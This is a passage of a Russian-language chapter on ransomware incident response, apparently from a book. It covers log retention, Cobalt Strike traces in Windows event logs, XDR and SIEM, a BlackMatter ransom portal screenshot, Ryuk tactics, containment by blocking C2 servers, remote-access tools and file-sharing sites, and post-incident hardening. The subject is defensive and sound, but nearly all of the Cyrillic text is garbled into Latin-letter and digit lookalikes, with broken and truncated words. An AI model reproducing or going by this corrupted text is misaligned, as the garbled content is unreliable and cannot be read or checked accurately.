06 yrposax (Hanpumep, 3Ty KHUTY).

. KoMMyHMKAUMOHHbIE BO3MOXHOCTWU. ITO O4EHb BaXKHbIM MOMEHT. B rpynne pearmpoBaHmnA Ha MHUUAEHTbI
CTOUT pa3aennTb 06A3aHHOCTU — KaK MUHUMYM KTO-TO OAWH A0/IXKEH OTBEYATb 3@ B3aUMOAENCTBUE C
PYKOBOZCTBOM, U €LLEe KOro-TO HYKHO BblAE/INTb A5 OOLEHMNA C TEXHUYECKUM MEPCOHANIOM.

Tenepp naBaliTe 03HAKOMUMCS CO CIEUM(DUKON MOATOTOBKH HH(PPACTPYKTYPHI.

HudpacTpykrypa

Bce, 4To HamMcaHo B 3TOM pas3zieiie, OTHOCUTCS K BaM TOJIBKO B TOM CJIy4ae, €CJIU Bbl BXOJIUTE BO BHYTPEHHIOIO
IPYyNIly pearupoBaHus Ha MHIIUJECHTHI, TO €CTh MOYKETE OOIAThCS C APYrUMUA KOMaHAaMHU U IIPEIOCTABISATh UM
peKoMeH1aluu 1Mo HacTporike U T-uHppacTpyKTypHl.

XyHauiee, ¢ 4eM Bbl MOYKETE CTOJIKHYTHCS B XOJ€ PEarnpOBaHUs HA UHIIUJICHTHI, — 3TO OTCYTCTBHUE
KOMMYHHUKAIIUM ¥ MYCThIE (MM CIUILIKOM KOPOTKHE) )KypHaJbl COOBITHM. Kak BbI ke 3HaeTe, B HEKOTOPBIX
Cly4dasxX 3JIOYMBIIIJICHHUKH MOTYT IIPOBECTH B HH(PPACTPYKTYPE HE OJHY HEACIIO /10 PaKTUUECKOr O
pa3BEPTHIBAaHUS POrPaMMBbI-BBIMOTATEIISA, U YTOOBI OTCIEAUTh UX J0 IEPBOr0 CKOMIPOMETHUPOBAHHOI'O XOCTA,
HY>KHO UMETh XXYPHAJbI 32 BECh 3TOT IIEPUO/I.

Kak aTo paboTaer Ha mpakTuke? JlonmycTum, Bl 0OHapy-kuiM cienbl 3anycka Cobalt Strike Beacon Ha xocTte ¢
IIOMOIILI0 KOMaHIEI JUMP PSexXec_psh — Takoe cirydaeTcs CILIONIb U PSIOM, M Yallle BCETO IIPH STOM
3aIIUCHIBACTCSI COOBITHE CO3J]aHUsI HOBOM CIIYKObI ¢ uaeHTu@ukaropom /045 B cucteMHOM KypHajie. B nepByro
odepeb Hac 00OBIYHO MHTEPECYET UCTOYHMK 3allyCKa — M HaMTH €ro HE OYEHb CI0KHO, HAIIpUMEp, IO BXOJY B
CUCTEMY, TO €cTh coObITHIO C ID 4624 B xypHaje 0e3omacHOCTH. CII0)KHOCTH HAUMHAKOTCS, KOTa BbI
OoOHapy:KHUBaeTe, YTO ClIyK0a ObLaa co34aHa JBE HEJICIM Ha3ajl, a B BallleM >KypHaJie 0€30aCHOCTHU €CTh 3aIlIUCH
TOJBKO 3a MOCIICAHNUE TPHU JIHS.

Jlpyroii npuMep — MexKceTeBor 3kpaH (Opanamaysp). bpanamayspel U mpaBja He ocTaHaBIUBarOT ApakoHOB10,
HO BCE K€ OHM MOT'YT OBITh OYE€HB I10JIC3HBI 151 pearupoOBaHUs Ha MHIIMJEHTHl — KOHEYHO, €CJIH Y Bac
COXPAHUIIMCH KYPHAJIbI 32 HY>KHBIM IIEPUO]I.



B Moel nmpakTuke ObLI Cy4ai, KOrjaa Mbl OIPEICINIM BCE XOCThI, UCIOIb30BABIIMECS JIJISI IEPBOHAYATIBHOTO
I0CTYMAa, 3a OAWH Yac. YTOObI MOJYYUTh EPBOHAYAIBHBIA JOCTYM, 3JI0YMBIIIJICHHUKH UCIIOJIb30BAJIH 1I€JICBHIC
(DMITMHTOBBIC AJICKTPOHHBIEC ITMChbMA C BPEJIOHOCHBIMH BJIOXKEHHUSIMH, HO Ha 3TOT Pa3 OHU aTaKOBAJIM HE OJWH
XOCT, a yeTbIpe. Ham y1anock OBICTPO HAWTH OJIMH M3 HUX, IIOCKOJIBKY OH HMCIIOJIb30BAJICA A1 pa3BEPTHIBAHUS
IIPOrpaMMBI-BEIMOTATENsI, — Mbl OOHAPY>KUJIM, YTO XOCT ObLII CKOMIIPOMETHPOBAH YEThIpE Mecsia Haza 1. Ham
KJIUEHT XOPOUIO BEJ XKYPHAIbI, IO3TOMY Mbl CMOTJIH 3aIJIAHYTh HA YETHIPE MECALIA HA3aJ U 110 KOMMYHHUKAIASAM C
CEpPBEPOM YIIPABJICHUS U KOHTPOJISI UJICHTU(PHUIMPOBATH €I1Ie TPU XOCTa. Eciin ObI HE )XypHaJIbl, IIOMCK MOT OBl
3aHATh TOPa3i0 00JIbIIIE BPEMEHH, a 3JIOYMBIIIJICHHUKH YCIIEIX Obl U3MEHUTh TAKTUKH, TEXHUKHU U

nporexypsl (tactics, techniques, and procedures, TTPs) u BHeaApUTh HOBBIE OIKIOPHI.

Jlymaro, Bbl yO€IMIIMCh, YTO TIIATECIbHOE BEICHHUE )KyPHAIOB UMEET PEIlarolice 3HaUSHHUE ISl pearipoBaHMs Ha
Mr00bIe UHITUCHTHI. ECiii B JaHHBIM MOMEHT Y Bac HE BEAYTCS KypHaJIbl, 0013aT€IbHO BHEAPUTE MTPOIECCHI UX
BEJICHUS M cOXpaHeHHUs. B ka0l oTpacin €CTh CBOU MpaBUJIa U TTOJ0XKEHMS, KaCaloIIUeCs BEACHMUS U XPaHCHUS
KypHaJioB. O0s13aTeNIbHO BBISICHUTE, KaKUE TPEOOBAHUSI OTHOCATCS K Balllell opraHU3aIl1Hu.

Elte oauH BaXXKHBIN aCMEKT, CBA3aHHBIM ¢ HHPPACTPYKTYPOH, — TEXHUYECKHUE CPEACTBA OOCCIICUECHUS
oe3zonacHocTH. S yxe ynomuHain XDR. Bel MoxkeTre cipocuts — nouemy umeHHO XDR, Bep Ha phIHKE MHOTO
pa3HbIX penreHui? [lemno B Tom, yTo XDR MOKHO HCTIOB30BaTh JJIsi MOHUTOPHUHTA, IOMCKA yrpo3, coopa
KPUMHHAIIUCTAYECKUX JJAHHBIX U, YTO €Ie 00JIEC BAXHO, ISl OJTIOKUPOBKH BPEIOHOCHBIX (DAMIOB U U30JIAIUN
CKOMIIPOMETHPOBAHHEIX X0cTOB. Koneuno, cpexcTBa Security Information and Event Management (SIEM) Toxke
MOT'YT 00€CTIE€YNBATh MOHUTOPHUHT, ONTIOBEIICHUE U TIOMCK YIPO3, HO OHU HE MOTYT OJIOKUPOBATh BPEIOHOCHBIE
(paiiJibl U U30JIMPOBATH XOCTBI, & 3TO UTPAET PEUIAIOIIYIO POJIb, KOTJA PEUYb UAET 00 aTaKax C UCIOJIb30BAHUEM
nporpaMmM-BbeiMoraresen. 3ato SIEM MOryt oueHb J0JIro XpaHuTh )KypPHAJbl, IO3TOMY, €CJIM BBl UMEETE JIETIO C
JOJITOCPOYHBIM MHIIMIECHTOM, ITPaBUJIbHASA HacTporka SIEM MOXKET ChIrpaTh pEIarOlyO POJib.

Koneuno, peub uaet He Tobko 0 XDR: 3T0 nmpocTo camblii COBpeMEHHBIN U 3()(HEKTUBHBIM HHCTPYMEHT
peIOTBPAILCHUS] MHITMJICHTOB M pearupoBaHus Ha HUX. YeM OoJibIlie y BaC HHCTPYMEHTOB, TEM IIPOIIE
CIPAaBJISAITHCA C UHIUJICHTAMU.

Tenepp paccMoTpuM dTaribl OOHAPYKEHUS U aHAIM3a YIPpo3.

O6HapyXeHHe U aHAJIU3 YyIpo3

DTO ABa HaMOOJIee BAXKHBIX ATara Mporecca pearupoBaHus Ha MHUUACHTHI. [ToueMy? Eciin oOHapykxeHue u
aHaJIN3 HE YBEHYAJIHCh YCIIEXOM, TO, CKOPEE BCEro, Ballla MHPPACTPYKTypa WM HHPPACTPYKTypa BallIero
KJIMEHTa Oy1yT 3alIiu(poBaHbl TOMH WJIM HHOM MPOTPaMMOK-BBIMOTaTEIIEM.

B03MOXHBI ABa ClIEHAPUA:

. BCe yrKe 3amndppoBaHO — TO €CTb NPOM30LLINA aTaKa, KOTOPYHO HY}KHO PEKOHCTPYMPOBATb;
. B CeTU NosABU/ICA NPeABEeCcTHUK NPOrpamMmbl-BbIMOraTesi, KOTOPbIA HYXKHO Kak MOXHO CKOpee /I0KannM30BaTb
N YCTPaHUTD.

Kak npaBuio, eciii aTaka y»ke Mpou3011Lia, HOHITh, C KAKUM IITaMMOM MPOTrPaMMBbI-BBIMOTaTEIIsl BBI
CTOJIKHYJIMCh, HECIIO)KHO — IIPOCTO MPOUYUTANTE COOOIIEHHE ¢ TPeOOBAaHMEM BBIKYIIA. Takue COOONIEHUS 4acTo
COAEpIKAT CChUIKM Ha IOPTAaJIbI, TAC )KEPTBbI MOI'YT BCTYIUTh B IIEPETOBOPHI CO 3JI0YMBIIIJICHHUKAMM.



»" BlackMatter Ransomware

Before Time to end
6,000,000 $

17983 @
2434867 M

Confidencial data was downloaded from your networ

You €an sas post with your data on owr blog

Data size
1024 GB

Test decryption

Puc. 3.1. IToptan nporpammsi-BeiMoratesisa BlackMatter

Kak BuaHO Ha pucyHke 3.1, Takue nmopTaibl TPEIOCTABIISIOT KEPTBE MHOTO MH(OPMAIINH, BKIIFOYAsI CYMMY
BBIKYIIA, ITNTATEKHBIC PEKBU3UTHI, YKPAJICHHBIC JAHHBIE — U JIAKE€ BO3MOKHOCTh TECTOBOM paciin(ppOBKHU U
noJepkKy B yare. Ho 4To Oosnee Ba)kHO, B BEPXHEW YaCTH 3KpaHa Mbl BUJIUM HA3BAHUE CEMEMCTBA MPOTrpamMM-
BeIMoTaTeier — BlackMatter.

Hcnonb3ys 3Ty HHQOpMaLMI0, MOKHO JBUTAThCS JAlbIIE U IONBITAaThCS NOHITh, Kakue TTP o0brdHO
UCIIOJIb3YIOTCS 3TUM 3JIOYMBIIIJICHHUKOM.

Kakyro-To nHpoOpMaIyio Bbl MOXKETE MOJYYUTh U3 PA3TTUYHBIX OOIIEAOCTYITHBIX UCTOYHUKOB, MbI TTIOJIPOOHO
OroBOpHUM 00 3TOM B riiaBe 6 «COop JaHHBIX O KHOEPYTpO3axX, CBSI3aHHBIX C MPOrPaMMaMU-BbIMOTaTEIS M.

Tak>ke MOXKET ObITh BECbMa MOJI€3HO UMETh JOCTYI K KOMMEPUYSCKUM MiaTgopMaM aHalIu3a KuOepyTrpos.

BLACKMATTER Fote L
BlackMatte BlackMatter Ransomware attack on Pine Labs Pvt (Update)

=& United States of America BlackMatter Ransomware attack on Middleton Reutlinger

2021-07-21 — 2021-08-17 BlackMatter Ransomware attack on Solar Coca-Cola

heavy-industry-and-engineering-architecture

Puc. 3.2. IIpoduns BlackMatter na mmardopme Group-IB Threat Intelligence

[Touemy 510 yno0HO? Takue miaT@opMbl CoAepKAT MHOTO HH(OPMAILIMKA O IpOorpaMMax-BbIMOIaTeIsaX Ha BCEX
YPOBHSIX — CTPATErHYE€CKOM, ONIEPAaTUBHOM M TaKTH4YeCKOM. TaM BbI HaijeTe nuHopmanuto o TTP mporpamm-
BBIMOTATEJIEN, BKIIFOUYAS UCIIOJIb3YEMbIE UMU UHCTPYMEHTHI, YA3BUMOCTHU U T.JI. KpoMe TOro, Bbl yBUIUTE
MHOKECTBO PAa3JIMYHbIX MHAMKATOPOB KOMIPOMETALIMU, TAKUX KaK XeIu, uMeHa ¢aitinoB u IP-agpeca. Hakowner,
OOBIYHO TaM €CTh MH(MOPMAIUS O LIEJIEBBIX CTPaHaX U OTpacisaX. Mbl 00CyIUM 3Ty TeMy 0ojiee MOAPOOHO B TJIaBE
4 «Kubeppa3Beaka U MPOrpaMMBbI-BEIMOTaTEIIN .

Pacrionaras aToii nHQoOpMaIuen, y:ke MOKHO MPEAIOJI0KUTh, KaK 3JI0YMBIIUICHHUKA HOTYYUIIN
IIEPBOHAYAIIBHBIN JOCTYII K CKOMIIPOMETUPOBAHHOW CETHU U YEM OHM IMOJIb30BAJIUCH JJIS [TOBBIIIIEHUS
MIPUBUJIETUH, JOCTYIA K YYETHBIM JIAHHBIM, IIPOJABHUKECHUA U T.]I.

JlaBaiiTe pacCMOTPHUM OAWH H3 IIPHMEPOB, KOTOPEIC MBI YK€ 00CYKIaJIM B IMIPEABIAYIINX IJIaBaX, — IIPOrpaMMYy-
BEIMOrarenb Ryuk.

Ecnu aTtaka npowu3oiiia u (aiibl yKe 3aiu@poBaHbl, HYKHO HAWTH UCTOYHUK Pa3BEPThIBAHUS IIPOrPaMMBbI-
BBIMOTATENsl U MCHOIb3yeMbIld MeTo1. Ryuk 3agactyro pa3zBepThIBaeTCs C KOHTpOJIIepa JoMeHa. JlonmycTuM, Bam
MOCYACTIMBUIIOCH HANTH, C KAKOIO KIMEHHO, HO €CTh Mpo0JieMa: U3-3a HEeI0CTaTKa 3aIMCEN B )KypHAJIE Bbl HE
BUJIMTE UCTOYHUK MOJKIIFOYECHHUS K I TOMY CEPBEPY.

Toraa BeI aHANM3UPYETE UMEIOIIKMECS Y Bac CBEJCHUS 0 KHOEpyrpo3ax u 00OHapyKHUBaeTe, 4TO CBI3aHHbBIC ¢ Ryuk
IIPECTYITHUKN 0OBIYHO MCITOIB3YIOT Takue HHCTpyMeHTHI, kak Cobalt Strike, AdFind u Bloodhound, u momyuaror
IICPBOHAYAIIBHBIA JIOCTYI K CETSAM C IIOMOIIIBIO IEJICBBIX (DHIIMHTOBBIX 3JICKTPOHHBIX ITHUCEM,

noctasisist Trickbot unu BazarLoader.



Teneps BBl 3HaeTe, UTO UCKATh, — Yy ONEPATOPOB MPOrpaMM-BbIMOraTeliel Ype3BbIYaiiHO MONYISPHBI Pa3IddHbIC
(bpeHMBOPKHM MOCTAIKCILTyaTauu, Takue kak Cobalt Strike, a oHH, K CH4aCTBIO, OCTABIISIFOT MHOKECTBO CJIE0B,
KOTOPBIE MOKHO HAWTHU B IIPOLIECCE pearupoBaHUs Ha MHIMUACHTHI. bobllie 00 HCTOYHHKAX
KPUMHHAJIUCTUYECKUX apTe(haKTOB Bbl Y3HAeTE U3 IJ1aBbl 7/ «[{udpoBble KpUMHUHATUCTUYECKUE apTE(AKThI U UX
OCHOBHBIC UCTOYHUKH.

BaxHo otMeTHTh, uTO HHPopManus o TTP cyObekTOB yrpo3 BaxHa HE TOJIBKO JIJISI pE€aripoBaHUs Ha
UHIMUIECHTBI, HO U JUIS UX MPEAOTBPALLEHUS, II0OITOMY, €CJIY Bbl WM YYACTHUKU Ballleh KOMaHbl HAIILIU KaKYyHO-
1100 MHPOPMAIIHIO O TTOBEJACHUH 3JIOYMBIIIJICHHUKA, CIIEAYET TYT K€ aJI€KBaTHO HACTPOUTH CPEACTBA
0€30IMacHOCTH.

PaccMoTpuM cUTyaluio, KOrja aTaka ee He IIpOon30I1ia — IporpaMMa-BbIMOTaTellb IIOKA HE pa3BEpHYTA, HO
3aM€YE€HbI HEKOTOPBIEC MPEIBECTHUKH B3j0oMa. KakuMu OHM OBIBarOT?

MBI yxe 3HaeM, 4TO JJIs TTOJTYYECHUS IEPBOHAYAIBHOTO JIOCTYIA K CETH 3JIOYMBIIIUIEHHUKN OOBIYHO HCITOJB3YIOT
Trickbot nnm BazarLoader. 910 3Ha4uT, 4TO MBI JOJKHBI PEATUPOBATH HA JIFOOBIE COOBITHS, CBI3aHHBIE C
10JIOOHBIMHU YTPO3aMH, HAITIPUMEDP Ha IPEAYIPEKICHUS OT aHTUBUPYCHOI'O IIPOrPaAaMMHOI0 00ECIICUECHHUS.
AHTHBHPYCHI MOT'YT OBITh MOJIC3HBI, JAXKE €CJIM aTaKa YK€ COCTOSJIACh, IOCKOJIbKY 3JI0YMBIILICHHUKH
MCTIOJIB3YIOT PA3JIMYHbIC HHCTPYMEHTBI 1 HEKOTOPbIE U3 HUX HE MOTYT OCTaThCsl He3aMeueHHbIMU. [TloaToMYy
OJI00HBIEC PEAYIIPEKACHUS MOT'YT MOJCKA3bIBaTh, I'J1€ TOOBIBAIN 3JI0YMBIIIJICHHUKHA BO BPEMSI
MOCTAKCILTyaTall|U.

Kpome Toro, oueHb BaxKHO U30JIUPOBATH PA00UYIO CTAHITHIO (€CIM ATO OCYIIECTBUMO M HE MOBJIHIET Ha OM3HEC-
IPOILIECCHl) U MPOBEPUTH, HET JIX IPYTMX HEOOHAPYKEHHBIX apTedakToB. Eciu Bbl yCIIEITHO OOHAPY KU U
ynanuinu mrtamm BazarLoader, B mamsartu BiosHe mor octatbest Cobalt Strike Beacon, a cyObeKTHI yrpo3sl yiKe
MOTJIH TIEPEMECTUTHCS JaJbIIIe IO CETH.

To e camoe MOKHO CKa3aTh U 00 yJIMKaX, YKa3bIBAIOIIMX Ha pa3BeaKy ceTy win Active Directory. Eciin Bbl
OOHApyXHUTE TAKYIO aKTUBHOCTh, KaK, Hapumep, ucnoiab3zoBanne AdFind, oueHb BaXKHO MOHATH, JETUTUMHA JIU
OHAa, U OTPEArupoBaTh.

DTO0, KOHEYHO, HE BECh CIIUCOK MPHUMEPOB — MbI 00CYJIUM UX 00jiee NOAPOOHO B ri1aBe 5 « TakKTUKH, TEXHUKH U
IPOLIEAYPHI TPYII, 3aHUMAIOIIUXCS PACIPOCTPAHEHUEM IPOTPaMM-BBIMOTaTEIICH.

A Tenepsp J1JaBalTe nepeunieM K CAep>KMBAHUIO, YCTPAHEHHUIO U BOCCTAaHOBJICHUIO.

CaepXuBaHHe, yCTPaHEHHE U BOCCTAHOBJ/IEHHUE

Kak ToJIbKO BBI pa3z0deperech, C KAKOW aTaKol MMEETe AeJI0, Hopa NPUMEHUTh MEphbl CACPKUBAHUSL.

CaMo€ 04E€BHUIHOE, YTO BBl MOXKETE CJeJIaTh, — 3TO 3a0JJOKUPOBATH MOAKIIOUYEHHUS K CEpBEpaM YIPaBJICHUS U
KOHTPOJI. be3 MOAKII0UEHUA 3JI0YMBIIIIJICHHUKH BPSJI JIX CMOTYT NMPUYUHUTD BPEJ CETH — €CJIM, KOHEYHO, OHU
HE 3aIJIaHUPOBAJIN BBIIOJHEHUE KaKUX-I100 3a/1a4, KOTOpbIE, HAIIPUMEP, MOT'YT 3allyCTUTh OAKJI0P C IPYTUM
aZIpeECOM KOMaHIHOTO CEpBEpA.

[ToaTOMY MOXKET NOTPEOOBATHCS OTKIKOUYEHHUE BCEH CETH OT MHTEpHETA. BCe 3aBUCUT OT CTaIuHU KU3HEHHOI'O
[IMKJIAa aTaKh — €CJIM Bbl OOHAPYKUIJIM aTaKy Ha paHHEW CTaguM, U30JISILHS BCEH CETU MOXKET OBbITh N30BITOYHBIM
PEIIEHUEM, HO, €CJIM 3JIOYMBIIJICHHUKHU ITPOBEJIM B BAIIEH CETH Y>KE MECSL], BO3MOXXHO, CTOUT
IIEPECTPAXOBATHCH.

MHorue ornepaTropsl IIpOrpaMM-BbIMOTaTEICH NCIOJIb3YIOT JerajlbHbIC MPUIIOKEHUS 11 YIAJICHHOTO JOCTYIIA,
HampuMep CIeAYIOIIE:

. TeamViewer

. AnyDesk

. SupRemo

. Remote Utilities
. Atera RMM

. Splashtop

. ScreenConnect



DTO 3HAYUT, YTO, KaK TOJBKO Bbl OOHAPYKWJIM UHIIUJICHT, TAKOE IPOrpaMMHOE 00ECIICYECHUE JTyUIIIe
3a0JI0KUPOBATh.

Kak BbI yke 3HaeTe, OOJBIIMHCTBO 3JI0YMBIIUIICHHUKOB 3aHUMAIOTCS Kpaxeu JaHHbIX. [loaToMy, eciin Bb
YBUJIEJHU CJIEMbI JEATEIbHOCTU MPEIBECTHUKOB IPOrPAMM-BBIMOIATENIEW U MOJ03PEBAETE, UTO 3JI0YMBIILICHHUKU

BCE €II€ HAXOAATCS B CETH, JIYUIIIE 3a0JJOKUPOBATh JOCTYM K IMOMYJISIPHBIM O00JIAYHBIM (DaiJIOOOMEHHHUKAM, TAKUM
kak MEGA, DropMeFiles, MediaFire u mip.

B HEKOTOPBIX ClydassX — B YaCTHOCTH, KOTJa BBl UMEETE AEJIO C IIePBOHAYAIBHBIM JOCTYIIOM — MOXKET
0Ka3aTbCsl JOCTATOYHBIM M30JIMPOBATh B3JIOMaHHBIM XOCT. Ha caMoM felie 3To CTOMT cleIaTh €Ie 10 dTana
aHaJIM3a, 4YTOOBI HE JIaTh 3JI0YMBIIIICHHUKAM BO3MO>KHOCTb IIPOJABHKEHHUS 110 CETH.

KubepnpecTynnHUKY CTPEMSTCS MMOJTy4aTh IMOBBIICHHBIC (ITYCTh U HE CaMbI€ BBICOKHME) MPaBa JOCTYyNa U
JEHUCTBYIOIIME YUYETHBIE 3alIUCH, TIOATOMY, €CJIM Bbl 3aMETUJIN KaKHUe-JIN0O CBUIETEIbCTBA, YKA3hIBAIOIINE HA
CKOMITIPOMETUPOBAHHBIEC YUETHBIE JJAHHBIE, CIIEAYET CMEHUTH UX TTAPOJIH.

Ecnu Bbl U30JIMPOBAJIM 3JI0YMBIIIUICHHUKOB OT B3JIOMAHHOU CETHU U CJIEAOB IMOCIIEAYIOIEU BPEAOHOCHOU
AKTUBHOCTH HE MOSBIAETCA, MOKHO NPUCTYIIUTh K YJIAJICHUIO BPEAOHOCHBIX IMPOrPaMM U HUHCTPYMEHTOB,
HCII0JIb3YEMBIX 3JIOYMBIIIJICHHUKAMU.

C yajeHueM CKpUNTOB U CEPBUCOB, HE TPEOYIOIIMX YCTAHOBKH, BCE MOHSITHO.

NHCTpyMEHTHI YIAICHHOTO JIOCTYIa, TaKue Kak TeamViewer, UMEIOT yIOOHBIE IEMHCTATUIATOPBI, IO3ITOMY
YAAJIATh KX CO CKOMITIPOMETHUPOBAHHBIX XOCTOB OYI€T HECIOKHO.

C BpeIOHOCHBIMU ITPOrpaMMaMHM HECKOJIBKO cloxHee. Hanpumep, oHr MOTYT ObITh O€C(anIOBBIMU, TO €CTh
HAXOJIMTHCS TOJBKO B ITAMATH, HE OCTABIIAS dK3EMILIsIpa Ha aucke. Ecan BpenonocHoe 110 3akpennnocs B
CKOMIIPOMETUPOBAHHOM CUCTEME, YTO MPOUCXOUT JOBOJBHHO YaCTO, TO OHO OCTAETCS B MaMSITH U TTOCTIE
nepe3arpysku.

HazoBeM HEKOTOpPBIE HIUPOKO PACIPOCTPAHEHHBIE MEXAHU3MbI 3aKPEIJICHUS, UCIIOJIb3yeMble BpeloHOCHBIMHU 110,
KOTOPBIE UCIIOJIB3YIOTCS B aTaKax C MCMOJIb30BaHUEM IPOrPpaMM-BbBIMOTATEIIEH.

. Knroum 3anycKa peectpa Uam nankm aBTo3arpysKku.
. Cnyx6b1 Windows.
. 3annaHnpoBaHHbIe 3a4aHUA.

MoxHO 000UTHCH 0€3 yIAJICHHUSI MEXaHHW3Ma YCTOMYMBOCTH, €CJIM BhI YK€ yaanuiand BpeaoHocHoe 110, Ho nHoraa
3TO MOKET IPHUBECTH K JIO)KHOMY OOHAPYKEHUIO YIrpo3bl. O HAKIbI MOM KJIUEHT OOHAPYKUI BPEAOHOCHYIO
cyx0y, cBa3anHyto ¢ Cobalt Strike, — M0 KOMaHIa MOMEHTAILHO OTpEarupoBaia, HO BCKOPE BBISICHUIIOCH, YTO
3TO BCETO JIUIIb NEPEKUTOK MPOIION aTaKy, C KOTOPOM KOMaH 1a KIMEeHTa 00poJIach HECKOJIBKO JIET Ha3a/l.

Htak, Bbl 3a0JIOKMPOBaAI KOMaHHbIC CEPBEPHI, U3MEHUIN NAPOJIN I B3JJOMAaHHBIX YYETHBIX 3alUCeH, yAaTuIn
Bpe1oHOCHOE 110 M HHCTPYMEHTHI 3JI0YMBIIIJIEHHUKOB. J[0CTaTOYHO 11 3TOro? I'0TOBEI JIM BBl CHOBA 3allyCTHUTH
3Ty pabOUyI0 CTAHIUIO UK cepBep? Eciau Bbl HA CTO MPOLEHTOB YBEPEHBI, UTO BCE UUCTO, — MOYEMY ObI U HET?
Ecinn HeT — BO3MOKHO, JIYUIII€ 3aHOBO Pa3BEPHYTh CUCTEMY M3 00pa3a.

Bo3MokHa U Apyrast CUTyalus — CETh yKe 3amu@poBaHa. OObIYHO B 3TOM CJIydae OCTAECTCS JBAa BapUaAHTA!
BECTH IIEPETOBOPHI C KMOEPIIAaHTAKUCTAMHU U IUIATUTh BBIKYN WJIM BOCCTAaHABIMBATH HHPPACTPYKTYPY C HYJIS.

B nepBoM ciydae aemndpaTopsbl, MPEA0CTaBIsIeMbIe 3JI0YMBIIIJICHHUKAMHU, MOT'YT CO3/1aTh JOIIOJHUTEIbHBIC
npoOiiemMbl. BOT elie oguH npuMep: olepaTopkl IporpaMMEbI-BeIMoTaTens ProLock akTuBHO AeHiCTBOBAIHN C
arpens no uroHb 2020 r., 1 HEKOTOPBIC )KEPTBHI COTNIACUIMCH 3aMJIaTUTh BRIKYI U NMOJYy4YMIn actmudparop. Ho
BO3HMKJIA IpodieMa — Aemu@paTop He padoTaj J0KHBIM 00pa3oM, HEKOTOpPEIE (hailabl pazMepoM Oosee 64
MoOalT noBpexIaIMCh B poliecce pacuindpoBkU. Kak TOIbKO 3TO CTaJI0O M3BECTHO, PEITYyTallHs
3JIOYMBIIIJICHHUKOB MOIIATHYIACh, U 04€Hb CKOpo ProLock ncues.

KoHeuHo, He Bce Aemu@paropsl pad0Tar0T IJI0X0. MHOTIME 3J10YMBIIIICHHUKHU MPEA0CTABISIOT UCIIOJHSICMbIC
(baiijibl, KOTOPBIC NEHCTBUTEIBHO BCE pacIiu(ppoBbIBalOT. Ho 3TO HE rapaHTUpyeT 0€30MaCHOCTH MOCJIE OMJIAThI
— W3BECTHBI CIyYau, KOTJA 3JIOYMBIIUIEHHUKA CHOBA U CHOBA aTaKOBAJIX OJHU U TE K& KOMIIAHWH, NIBITASICh
3apadoTaTh el 0OJIbIE ACHET.



[ToaTOMY TTOCHIE YCOEIIHOM aTakKu — M OCOOCHHO €CJIM OpraHM3alus PEIIniIa 3aaTUTh — KPanHE BayKHO
YIYYIIATh COCTOSIHAE 0€30MaCHOCTH, YTOOBI BOOPY>KUTHCS MPOTUB OYyAyIIMX KHOEpaTak. DTOMY IIOCBSILIECH
HOCJIEAHUU dTAall — JEUCTBUSA ITOCJIEC UHIIMUJICHTA.

JIeCTBHUSA ITO0CJIe UHIIMAEHTA

Ha 3akjirounTelbHOM ATale rpylna pearipoBaHus Ha MHIIMICHTHI JI0JDKHA IOMOYb ITOCTpajiaBllieii KOMIaHUU
MIOHSTh, IOYEMY 3JI0YMBIIIJICHHUKAM YAAJIOCh JOOUTHCS ycIexa 1 4To JejiaTh, YTOObI M30€KaTh I10100HBIX
CUTyallMl B OYIyILIEM.

B 3aBHCHMOCTH OT TOTO, KTO MCHOJIH30BaJI IPOrpaMMYy-BbBIMOTaTeNb, ’KU3HEHHBIN IUKJI HHIIUJICHTOB MOKET OBITh
a0CcoIFOTHO pa3HeIM. Ha 0CHOBE TOT0, YTO KIMEHHO Bbl 00OHAPYKUJIN, BBl MOYKETE JaTh KOMILIEKC PEKOMEHTAITHH.
JlaBaiiTe paCCMOTPHUM CaMbI€ OOIIHAE ITYHKTHI.

Kak MbI BBISICHWJIM, MHOTHE aTaKU MPOTrPaAMM-BBIMOTATEICH HAUMHAIOTCS € MyOJIMYHO HOCTYITHBIX RDP-
CEPBEPOB, & 3HAYUT, XOPOIIECH pEKOMEHAANEN OyJIET BBIOPAThH JPYrUe METO/IbI YIAJIEHHOTO JIOCTYTA WIIH,
HanpuMep, BHEAPUTH 1 Takux RDP-coenmHennii MHOro(hakTOPHYIO ayTeHTH(UKALHIO.

['oBOpst 00 OOIIEAOCTYITHBIX YACTSIX YSI3BUMOW MHPPACTPYKTYPbI, OpraHU3alUS JI0JKHA YOSIUTHCS, YTO BCE
YSI3BUMOCTH UCITPABJIEHBI — OCOOEHHO T€, KOTOPHIE MTO3BOJISIIOT 3JIOYMBIIIJICHHUKAM TTOJyYaTh JaHHBIE
NEUCTBYIONIHUX YYETHBIX 3aIMCEU WM YAAJICHHO 3aIlyCKaTh KO/I.

Eciu 3710yMBIIJIEHHUKY MPOHUKIIA Y€Pe3 11EJIECBOM (PUILIMHT, MOXKET ITOTPEOOBATHCS JOMOJHUTEILHOE 00yUECHHUE
NEepCOHAsa WM MOBBIICHUE 0€30MaCHOCTH MMOYTOBOIO Tpa(uKa, HAIIPUMEP BHEIPEHUE CUCTEM «JICTOHALAN
BpEAOHOCHOTO [1O — TEXHOJOTUYHBIX «IIECOYHUIDY, KOTOPHIE AHATIM3UPYIOT KAXKIO€ BIOKEHUE NN CChUIKY KaK
BO BXOJISIIMNX, TAK U B UCXOJAIIMX 3JEKTPOHHBIX THUChMAX.

To e camoe MOKHO CKa3aTh U O MPOAYKTaX O€30MaCHOCTH, OPUEHTUPOBAHHBIX HA BHYTPEHHIOK CETh, — B
HEKOTOPBIX CIydasX JOCTATOYHO MX MPABUILHO HACTPOUTH, B IPYTHUX — HEOOXOJAUMO X 3aMEeHUTh. KpoMe Toro,
JUISL HUX MOTYT MOTPE0OBATHCS JOMOJHUTEIIBHBIE BO3MOKHOCTH MOHUTOPUHTA U JIOMOJHUTEIbHBIA MIEPCOHAI,
KOTOPBIN, Pa3yMEETCs, HY’>KHO OOYUYUTh.

Haxkonen, eciin uMeBIIMECs pe3€pPBHBIC KOIMMY B UTOTE OBLIN yJIaJCHbI (KaK Bbl YK€ 3HAETE, 3TO JOBOJBHO
pacopoCcTpaHEHHAasl CTPaTerus 3JI0YMBIIIJICHHUKOB), OpraHU3aliy CIEIYET IOIyMaTh O 3allUTE PE3EPBHOIO
KOIUPOBAHUS — HAIIPHUMEP, O BHEAPEHUU NMpaBuia 3—2—1, UCMOJIb30BaHUM OTJICIbHBIX YUETHBIX 3alIUCEH I
JOCTYIIA K CepBEpaM PE3EPBHOIO KOMMUPOBAHUS 1 peaTnu3alii MHOTO()AKTOPHOU ayTeHTH(UKAILIUK JJIs JIF0OO0TO
TUIIA JOCTYIIA.

